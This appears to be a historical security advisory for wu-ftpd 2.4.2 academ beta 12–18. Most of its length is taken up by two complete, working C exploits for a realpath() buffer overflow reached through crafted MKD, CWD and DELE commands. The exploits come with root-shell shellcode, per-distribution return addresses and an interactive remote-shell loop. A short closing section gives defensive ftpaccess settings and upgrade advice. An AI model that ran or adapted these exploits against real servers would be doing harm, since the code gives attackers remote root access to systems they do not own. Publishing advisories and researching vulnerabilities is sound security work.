COMMAND

    wuftp

SYSTEMS AFFECTED

    wuftp2.4.2academ beta 12-18

PROBLEM

    Mixter  posted  following.   For  real  issue,  take a look at few
    previous advisories about  ftpd and wuftpd.   This one works  on a
    lot of  wu-ftpd`s also  uses other  commands than  MKD to  exploit
    realpath() overflow.  Exploit follows:

    /*
     * Remote/local exploit for wu-ftpd [12] through [18]
     * gcc w00f.c -o w00f -Wall -O2
     *
     * Offsets/padding may need to be changed, depending on remote daemon
     * compilation options. Try offsets -5000 to 5000 in increments of 100.
     *
     * Note: you need to use -t >0 for -any- version lower than 18.
     * Coded by smiler and cossack
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdarg.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <arpa/inet.h>


    /* In a beta[12-17] shellcode_A overflow, we will not see responses
    to our commands. Add option -c (use chroot code) to fix this. */
    unsigned char hellcode_a[]=
	    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
	    "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
	    "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
	    "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
	    "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
	    "\x0f\x42\x49\x4e\x0f\x53\x48";

    unsigned char hellcode_b[]=
	    "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
	    "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
	    "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
	    "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
	    "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
	    "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
	    "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
	    "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
	    "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
	    "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
	    "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";


    char *Fgets(char *s,int size,FILE *stream);
    int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
    int double_up(unsigned long blah,char *doh);
    int resolv(char *hostname,struct in_addr *addr);
    void fatal(char *string);
    int usage(char *program);
    int tcp_connect(struct in_addr host,unsigned short port);
    int parse_pwd(char *in,int *pwdlen);
    void RunShell(int thesock);



    struct type {
	    unsigned long ret_address;
	    unsigned char align; /* Use this only to offset \xff's used */
	    signed short pad_shift; /* how little/much padding */
	    unsigned char overflow_type; /* whether you have to DELE */
	    char *name;
    };

    /* ret_pos is the same for all types of overflows, you only have to change
       the padding. This makes it neater, and gives the shellcode plenty of
       room for nops etc
     */
    #define RET_POS 190
    #define FTPROOT "/home/ftp"


    /* the redhat 5.0 exploit doesn't work at the moment...it must be some
       trite error i am overlooking. (the shellcode exits w/ code 0375) */
    struct type types[]={
	    { 0xbffff340, 3, 60, 0,  "BETA-18 (redhat 5.2)", },
	    { 0xbfffe30e, 3,-28, 1,  "BETA-16 (redhat 5.1)", },
	    { 0xb2ffe356, 3,-28, 1,  "BETA-15 (redhat 5.0)", },
	    { 0xbfffebc5, 3,  0, 1,  "BETA-15 (slackware 3.3)", },
	    { 0xbffff3b3, 3,  0, 1,  "BETA-15 (slackware 3.4)", },
	    { 0xbffff395, 3,  0, 1,  "BETA-15 (slackware 3.6)", },
	    { 0,0,0,0,NULL }
			};

    struct options {
	    char start_dir[20];
	    unsigned char *shellcode;
	    unsigned char chroot;
	    char username[10];
	    char password[10];
	    int offset;
	    int t;
    } opts;

    /* Bit of a big messy function, but hey, its only an exploit */

    int main(int argc,char **argv)
    {
	    char *argv0,ltr;
	    char outbuf[1024], inbuf[1024], ret_string[5];
	    int pwdlen,ctr,d;
	    FILE *cin;
	    int fd;
	    struct in_addr victim;

	    argv0 = strdup(argv[0]);
	    *opts.username = *opts.password = *opts.start_dir = 0;
	    opts.chroot = opts.offset = opts.t = 0;
	    opts.shellcode = hellcode_a;

	    while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
		    switch (d) {
		    case 'c':
			    opts.shellcode = hellcode_b;
			    opts.chroot = 1;
			    break;
		    case 's':
			    strcpy(opts.start_dir,optarg);
			    break;
		    case 'o':
			    opts.offset = atoi(optarg);
			    break;
		    case 't':
			    opts.t = atoi(optarg);
			    if ((opts.t < 0)||(opts.t>5)) {
				    printf("Dont have that type!\n");
				    exit(-1);
			    }
		    }
	    }

	    argc -= optind;
	    argv += optind;

	    if (argc < 3)
		    usage(argv0);

	    if (!resolv(argv[0],&victim)) {
		    perror("resolving");
		    exit(-1);
	    }
	    strcpy(opts.username,argv[1]);
	    strcpy(opts.password,argv[2]);

	    if ((fd = tcp_connect(victim,21)) < 0) {
		    perror("connect");
		    exit(-1);
	    }

	    if (!(cin = fdopen(fd,"r"))) {
		    printf("Couldn't get stream\n");
		    exit(-1);
	    }

	    Fgets(inbuf,sizeof(inbuf),cin);
	    printf("%s",inbuf);

	    if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
		    fatal("Bad username\n");
	    if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
		    fatal("Bad password\n");

	    if (*opts.start_dir)
		    if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
			    fatal("Couldn't change dir\n");

	    if (ftp_command(inbuf,257,cin,"PWD\n")<0)
		    fatal("PWD\n");

	    if (parse_pwd(inbuf,&pwdlen) < 0)
		    fatal("PWD\n");

	    srand(time(NULL));
	    printf("Making padding directorys\n");
	    for (ctr = 0;ctr < 4;ctr++) {
		    ltr = rand()%26 + 65;
		    memset(outbuf,ltr,194);
		    outbuf[194]=0;
		    if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
			    fatal("MKD\n");
		    if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
			    fatal("CWD\n");
	    }

	    /* Make padding directory */

	    ctr = 124 - (pwdlen - types[opts.t].align);//180
	    //ctr = 152 - (pwdlen - types[opts.t].align);
	    ctr -= types[opts.t].pad_shift;
	    if (ctr < 0) {
		    exit(-1);
	    }
	    memset(outbuf,'A',ctr+1);
	    outbuf[ctr] = 0;
	    if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
		    fatal("MKD\n");
	    if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
		    fatal("CWD\n");

	    memset(outbuf,0x90,195);
	    d=0;
	    for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
		    outbuf[ctr] = opts.shellcode[d++];
	    double_up(types[opts.t].ret_address-opts.offset,ret_string);
	    strcpy(outbuf+RET_POS,ret_string);
	    strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);

	    printf("Press any key to send shellcode...\n");
	    getchar();
	    if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
		    fatal("MKD\n");
	    if (types[opts.t].overflow_type == 1)
		    if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
			    fatal("DELE\n");
	    /* HEH. For type 1 style we add a dele command. This overflow
	    occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
	    not checking bounds correctly, overwriting path[] in delete(). */

	    RunShell(fd);
	    return(1);
    }

    void RunShell(int thesock)
    {
	    int n;
	    char recvbuf[1024];
	    fd_set rset;

	    while (1)
	    {
		    FD_ZERO(&rset);
		    FD_SET(thesock,&rset);
		    FD_SET(STDIN_FILENO,&rset);
		    select(thesock+1,&rset,NULL,NULL,NULL);
		    if (FD_ISSET(thesock,&rset))
		    {
			    n=read(thesock,recvbuf,1024);
			    if (n <= 0)
			    {
				    printf("Connection closed\n");
				    exit(0);
			    }
			    recvbuf[n]=0;
			    printf("%s",recvbuf);
		    }
		    if (FD_ISSET(STDIN_FILENO,&rset))
		    {
			    n=read(STDIN_FILENO,recvbuf,1024);
			    if (n>0)
			    {
				    recvbuf[n]=0;
				    write(thesock,recvbuf,n);
			    }
		    }
	    }
	    return;
    }


    int double_up(unsigned long blah, char *doh)
    {
	    int a;
	    unsigned char *ptr,*ptr2;
	    bzero(doh,6);
	    ptr=doh;
	    ptr2=(char *)&blah;
	    for (a=0;a<4;a++) {
		    *ptr++=*ptr2;
		    if (*ptr2==0xff) *ptr++=0xff;
		    ptr2++;
	    }
	    return(1);
    }


    int parse_pwd(char *in, int *pwdlen)
    {
	    char *ptr1,*ptr2;

	    /* 257 "/" is current directory */
	    ptr1 = strchr(in,'\"');
	    if (!ptr1) return(-1);
	    ptr2 = strchr(ptr1+1,'\"');
	    if (!ptr2) return(-1);
	    *ptr2 = 0;
	    *pwdlen = strlen(ptr1+1);
	    /* If its just "/" then it contributes nothing to the RET_POS */
	    if (*pwdlen==1) *pwdlen -= 1;
	    printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
	    return(1);
    }

    int tcp_connect(struct in_addr host,unsigned short port)
    {
	    struct sockaddr_in serv;
	    int fd;

	    fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	    bzero(&serv,sizeof(serv));
	    memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
	    serv.sin_port = htons(port);
	    serv.sin_family = AF_INET;
	    if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
		    return(-1);
	    }
	    return(fd);
    }


    int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
    {
	    va_list va;
	    char line[1200];
	    int val;

	    va_start(va,fmt);
	    vsprintf(line,fmt,va);
	    va_end(va);

	    if (write(fileno(out),line,strlen(line)) < 0)
		    return(-1);

	    bzero(buf,200);
	    while(1) {
		    Fgets(line,sizeof(line),out);
    #ifdef DEBUG
		    printf("%s",line);
    #endif
		    if (*(line+3)!='-') break;
	    }
	    strncpy(buf,line,200);
	    val = atoi(line);
	    if (success != val) return(-1);
	    return(1);
    }

    void fatal(char *string)
    {
	    printf("%s",string);
	    exit(-1);
    }

    char *Fgets(char *s,int size,FILE *stream)
    {
	    char *ptr;

	    ptr = fgets(s,size,stream);
	    //if (!ptr)
		    //fatal("Disconnected\n");
	    return(ptr);
    }

    int resolv(char *hostname,struct in_addr *addr)
    {
	    struct hostent *res;

	    if (inet_aton(hostname,addr))
		    return(1);

	    res = gethostbyname(hostname);
	    if (res == NULL)
		    return(0);

	    memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
	    return(1);
    }

    int usage(char *program)
    {
	    fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s start_dir]\n",program);
	    fprintf(stderr,"\t[-o offset] [-t type]\n");
	    fprintf(stderr,"types:\n");
	    fprintf(stderr,"0 - %s\n", types[0].name);
	    fprintf(stderr,"1 - %s\n", types[1].name);
	    fprintf(stderr,"2 - %s\n", types[2].name);
	    fprintf(stderr,"3 - %s\n", types[3].name);
	    fprintf(stderr,"4 - %s\n", types[4].name);
	    fprintf(stderr,"5 - %s\n", types[5].name);
	    fprintf(stderr,"\n");
	    exit(0);
    }

    Taheo Oh's version of exploit (I hope I guessed real issue here):

    /*
    
	    Wu-ftpd exploit code for x86 linux
    
	    Remote user can gain root access.
    
	    Tested redhat linux : 5.0 , 5.1 , 5.2
	    Tested wu-ftpd version : wu-2.4.2-academ[BETA-15](1)
	                             wu-2.4.2-academ[BETA-17](1)
	                             wu-2.4.2-academ[BETA-18](1)
    
	    This program is only for demonstrative use only.
	    USE IT AT YOUR OWN RISK!
    
	    Programmed by Taeho Oh 1999/05/11
    
    Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
    PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
    PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
    
    */
    
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <unistd.h>
    
    #define RET 0xbfffa92d
    #define NOP 0x90
    
    void logintoftp(int sockfd,char *userid,char *passwd);
    void sh(int sockfd);
    void mkd(int sockfd,char *dir);
    void cwd(int sockfd,char *dir);
    void dele(int sockfd,char *dir);
    long getip(char *name);
    void mkpdir(int i,char *pdir);
    
    char shellcode[]=
	    "\x31\xc0"                      /* xorl %eax,%eax        */
	    "\x31\xdb"                      /* xorl %ebx,%ebx        */
	    "\xb0\x17"                      /* movb $0x17,%al        */
	    "\xcd\x80"                      /* int $0x80             */
	    "\xeb\x4f"                      /* jmp 0x4f              */
	    "\x31\xc0"                      /* xorl %eax,%eax        */
	    "\x31\xc9"                      /* xorl %ecx,%ecx        */
	    "\x5e"                          /* popl %esi             */
	    "\xb0\x27"                      /* movb $0x27,%al        */
	    "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	    "\xfe\xc5"                      /* incb %ch              */
	    "\xb1\xed"                      /* movb $0xed,%cl        */
	    "\xcd\x80"                      /* int $0x80             */
	    "\x31\xc0"                      /* xorl %eax,%eax        */
	    "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	    "\xb0\x3d"                      /* movb $0x3d,%al        */
	    "\xcd\x80"                      /* int $0x80             */
	    "\x31\xc0"                      /* xorl %eax,%eax        */
	    "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
	    "\xf7\xdb"                      /* negl %ebx             */
	    "\x31\xc9"                      /* xorl %ecx,%ecx        */
	    "\xb1\x10"                      /* movb $0x10,%cl        */
	    "\x56"                          /* pushl %esi            */
	    "\x01\xce"                      /* addl %ecx,%esi        */
	    "\x89\x1e"                      /* movl %ebx,(%esi)      */
	    "\x83\xc6\x03"                  /* addl %0x3,%esi        */
	    "\xe0\xf9"                      /* loopne -0x7           */
	    "\x5e"                          /* popl %esi             */
	    "\xb0\x3d"                      /* movb $0x3d,%al        */
	    "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
	    "\xcd\x80"                      /* int $0x80             */
	    "\x31\xc0"                      /* xorl %eax,%eax        */
	    "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
	    "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	    "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	    "\xb0\x0b"                      /* movb $0xb,%al         */
	    "\x89\xf3"                      /* movl %esi,%ebx        */
	    "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	    "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	    "\xcd\x80"                      /* int $0x80             */
	    "\xe8\xac\xff\xff\xff";         /* call -0x54            */
    
    int main(int argc,char **argv)
    {
	    int sockfd;
	    char sendln[1024],recvln[4048];
	    int len,offset=0,i;
	    int pos;
	    char pdir[256];
	    char buff[256],*ptr;
	    long *addr_ptr,addr;
	    char userid[128],passwd[128];
	    struct sockaddr_in cli;
    
	    printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
	    printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
	    printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");
    
	    if(argc<5){
		    printf("\nusage: %s host userid password dir [offset]\n\n", argv[0]);
		    printf("\n", argv[0]);
		    exit(0);
	    }
    
	    strcpy(userid,argv[2]);
	    strcpy(passwd,argv[3]);
	    if(argc>5)
		    offset=atoi(argv[5]);
    
	    bzero(&cli,sizeof(cli));
	    bzero(recvln,sizeof(recvln));
	    bzero(sendln,sizeof(sendln));
	    cli.sin_family=AF_INET;
	    cli.sin_port=htons(21);
	    cli.sin_addr.s_addr=getip(argv[1]);
	    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
		    exit(0);
	    if(connect(sockfd,(struct sockaddr *)&cli,sizeof(cli))<0)
		    exit(0);
	    while((len=read(sockfd,recvln,sizeof(recvln)))>0)
	    {
		    recvln[len]='\0';
		    if(strchr(recvln,'\n')!=NULL)
			    break;
	    }
    
	    logintoftp(sockfd,userid,passwd);
    
	    pos=strlen(argv[4]);
	    cwd(sockfd,argv[4]);
    
	    while(pos<504)
	    {
		    mkpdir(255,pdir);
		    mkd(sockfd,pdir);
		    cwd(sockfd,pdir);
		    pos+=256;
	    }
    
	    mkpdir(759-pos,pdir);
	    mkd(sockfd,pdir);
	    cwd(sockfd,pdir);
    
	    for(i=0;i<255;i++)
		    buff[i]=NOP;
	    buff[i]='\0';
    
	    ptr=buff+255-strlen(shellcode);
	    for(i=0;i<strlen(shellcode);i++)
		    *(ptr++)=shellcode[i];
    
	    mkd(sockfd,buff);
	    cwd(sockfd,buff);
    
	    mkd(sockfd,"bin");
	    cwd(sockfd,"bin");
    
	    mkd(sockfd,"sh");
	    cwd(sockfd,"sh");
    
	    addr=RET-offset;
    
	    ptr=buff;
	    addr_ptr=(long*)ptr;
	    for(i=0;i<256;i+=4)
		    *(addr_ptr++)=addr;
    
	    buff[255]='\0';
    
	    mkd(sockfd,buff);
	    dele(sockfd,buff);
    
	    sh(sockfd);
    
	    close(sockfd);
    }
    
    void mkd(int sockfd,char *dir)
    {
	    char snd[512],rcv[1024];
	    char blah[1024],*p;
	    int n;
	    struct timeval tv;
    
	    fd_set fds;
	    bzero(&tv,sizeof(tv));
	    tv.tv_usec=50;
	    bzero(blah,sizeof(blah));
	    p=blah;
	    for(n=0;n<strlen(dir);n++)
	    {
		    if(dir[n]=='\xff')
		    {
			    *p='\xff';
			    p++;
		    }
		    *p=dir[n];
		    p++;
	    }
	    sprintf(snd,"MKD %s\r\n",blah);
	    write(sockfd,snd,strlen(snd));
	    bzero(snd,sizeof(snd));
	    bzero(rcv,sizeof(rcv));
    
	    FD_ZERO(&fds);
	    FD_SET(sockfd,&fds);
	    select(sockfd+1,&fds,NULL,NULL,&tv);
    
	    if(FD_ISSET(sockfd,&fds))
		    while((n=read(sockfd,rcv,sizeof(rcv)))>0)
		    {
			    rcv[n]=0;
			    if(strchr(rcv,'\n')!=NULL)
				    break;
		    }
	    return;
    }
    
    void cwd(int sockfd,char *dir)
    {
	    char snd[512],rcv[1024];
	    char blah[1024],*p;
	    int n;
	    struct timeval tv;
    
	    fd_set fds;
	    bzero(&tv,sizeof(tv));
	    tv.tv_usec=50;
	    bzero(blah,sizeof(blah));
	    p=blah;
	    for(n=0;n<strlen(dir);n++)
	    {
		    if(dir[n]=='\xff')
		    {
			    *p='\xff';
			    p++;
		    }
		    *p=dir[n];
		    p++;
	    }
	    sprintf(snd,"CWD %s\r\n",blah);
	    write(sockfd,snd,strlen(snd));
	    bzero(snd,sizeof(snd));
	    bzero(rcv,sizeof(rcv));
    
	    FD_ZERO(&fds);
	    FD_SET(sockfd,&fds);
	    select(sockfd+1,&fds,NULL,NULL,&tv);
    
	    if(FD_ISSET(sockfd,&fds))
		    while((n=read(sockfd,rcv,sizeof(rcv)))>0)
		    {
			    rcv[n]=0;
			    if(strchr(rcv,'\n')!=NULL)
				    break;
		    }
	    return;
    }
    
    void dele(int sockfd,char *dir)
    {
	    char snd[512],rcv[1024];
	    char blah[1024],*p;
	    int n;
	    struct timeval tv;
    
	    fd_set fds;
	    bzero(&tv,sizeof(tv));
	    tv.tv_usec=50;
	    bzero(blah,sizeof(blah));
	    p=blah;
	    for(n=0;n<strlen(dir);n++)
	    {
		    if(dir[n]=='\xff')
		    {
			    *p ='\xff';
			    p++;
		    }
		    *p=dir[n];
		    p++;
	    }
	    sprintf(snd,"DELE %s\r\n",blah);
	    write(sockfd,snd,strlen(snd));
	    bzero(snd,sizeof(snd));
	    bzero(rcv,sizeof(rcv));
    
	    FD_ZERO(&fds);
	    FD_SET(sockfd,&fds);
	    select(sockfd+1,&fds,NULL,NULL,&tv);
    
	    if(FD_ISSET(sockfd,&fds))
		    while((n = read(sockfd,rcv,sizeof(rcv)))>0)
		    {
			    rcv[n]=0;
			    if(strchr(rcv,'\n')!=NULL)
				    break;
		    }
	    return;
    }
    
    void ftpcommand(int sockfd,char *command)
    {
	    char snd[1024], rcv[1024];
	    int n;
	    memset(snd,'\0',1024);
	    strcpy(snd,command);
	    write(sockfd,snd,strlen(snd));
    
	    while((n=read(sockfd,rcv,sizeof(rcv)))>0)
	    {
		    rcv[n]=0;
		    if(strchr(rcv,'\n')!=NULL)
			    break;
	    }
    }
    
    void logintoftp(int sockfd,char *userid,char *passwd)
    {
	    char snd[1024],rcv[1024];
	    int n;
    
	    memset(snd,'\0',1024);
	    sprintf(snd,"USER %s\r\n",userid);
	    write(sockfd,snd,strlen(snd));
    
	    while((n=read(sockfd,rcv,sizeof(rcv)))>0)
	    {
		    rcv[n]=0;
		    if(strchr(rcv,'\n')!=NULL)
			    break;
	    }
    
	    memset(snd,'\0',1024);
	    sprintf(snd,"PASS %s\r\n",passwd);
	    write(sockfd,snd,strlen(snd));
    
	    while((n=read(sockfd,rcv,sizeof(rcv)))>0)
	    {
		    rcv[n]=0;
		    if(strchr(rcv,'\n')!=NULL)
			    break;
	    }
	    return;
    }
    
    void sh(int sockfd)
    {
	    char snd[1024],rcv[1024];
	    fd_set rset;
	    int maxfd,n;
    
	    while(1)
	    {
		    FD_SET(fileno(stdin),&rset);
		    FD_SET(sockfd,&rset);
		    if(fileno(stdin)>sockfd)
			    maxfd=fileno(stdin)+1;
		    else
			    maxfd=sockfd+1;
		    select(maxfd,&rset,NULL,NULL,NULL);
		    if(FD_ISSET(fileno(stdin),&rset))
		    {
			    bzero(snd,sizeof(snd));
			    fgets(snd,sizeof(snd)-2,stdin);
			    write(sockfd,snd,strlen(snd));
		    }
		    if(FD_ISSET(sockfd, &rset))
		    {
			    bzero(rcv, sizeof(rcv));
			    if((n=read(sockfd,rcv,sizeof(rcv)))==0)
				    exit(0);
			    if(n<0)
				    exit(-1);
			    fputs(rcv,stdout);
		    }
	    }
    }
    
    long getip(char *name)
    {
	    struct hostent *hp;
	    long ip;
    
	    if((ip=inet_addr(name))==-1)
	    {
		    if ((hp=gethostbyname(name))==NULL)
		    {
			    fprintf(stderr,"Can't resolve host.\n");
			    exit (1);
		    }
		    memcpy(&ip,(hp->h_addr),4);
	    }
	    return ip;
    }
    
    void mkpdir(int size,char *pdir)
    {
	    int i;
	    for(i=0;i<size;i++)
		    pdir[i]='A';
	    pdir[i]='\0';
    }

SOLUTION

    Beta 18 is not a current  version.  Yet another reason to  upgrade
    to the VR series of wu-ftd.   The location of the latest  versions
    of wu-ftpd can be found in the directory:

        ftp://ftp.vr.net/pub/wu-ftpd/

    wu-ftpd and  variants that  use files  /etc/ftp* for configuration
    can easily help protect you against the many recent variants  that
    exploit buffer overflows  with MKDIR.   All the varieties  seen so
    far  require  creating  a  directory  or  file  - that's where the
    overflow  happens.   In  /etc/ftpaccess,  you  have  the option to
    specify what commands may and may not be run by particular  users.
    Just add lines to specify that user anonymous (or whatever  others
    you want) cannot put, delete, mkdir, etc.  E.g., lines like these:

        chmod           no              anonymous
        delete          no              anonymous
        overwrite       no              anonymous
        rename          no              anonymous
        mkdir           no              anonymous
        upload          no              anonymous

    Of course, local users can get root still and more: you don't need
    +w access  on ftp,  if you  create dirs  in $home  and telnet 0 21
    you can get root by simple RMD.

    Do you want your anonymous users to put files, change files, etc.?
    Probably not...and this is  where the automated scripts  are first
    going to try to break in: by anonymous FTP, not another  username.
    These lines  will prevent  the MKD  from succeeding,  even if  you
    leave a directory chmod 777.   "man ftpaccess" for details on  the
    /etc/ftpaccess  file  wu-ftpd  uses.   If  you  still  want to let
    anonymous users  create directories,  take a  look at  path-filter
    option for that very same file.

        # path-filter...
        path-filter  anonymous  /etc/pathmsg  ^[-A-Za-z0-9_\.]*$  ^\.  ^-